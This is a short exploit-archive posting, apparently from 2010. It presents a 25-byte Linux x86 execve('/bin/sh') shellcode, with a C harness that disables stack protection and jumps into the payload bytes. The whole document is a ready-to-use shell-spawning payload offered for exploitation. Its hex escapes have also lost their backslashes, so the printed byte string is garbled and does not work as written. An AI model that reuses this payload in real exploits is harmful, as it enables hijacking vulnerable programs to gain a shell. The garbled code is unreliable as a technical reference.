linux/x86 - execve("/bin/sh") shellcode 25 bytes
Posted on 14 April 2010
================================================ linux/x86 - execve("/bin/sh") shellcode 25 bytes ================================================ #include <stdio.h> #include <string.h> /* by Magnefikko 14.04.2010 magnefikko@gmail.com promhyl.oz.pl Subgroup: #PRekambr Name: 25 bytes execve("/bin/sh") shellcode Platform: Linux x86 execve("/bin/sh", 0, 0); gcc -Wl,-z,execstack filename.c shellcode: xebx0bx5bx31xc0x31xc9x31xd2xb0x0bxcdx80xe8xf0xffxffxffx2fx62x69x6ex2fx73x68 */ int main(){ char shell[] = "xebx0bx5bx31xc0x31xc9x31xd2xb0x0bxcdx80xe8xf0xffxffxffx2fx62x69x6ex2fx73x68"; printf("by Magnefikko magnefikko@gmail.com promhyl.oz.pl strlen(shell) = %d ", strlen(shell)); (*(void (*)()) shell)(); } # Inj3ct0r.com [2010-04-14]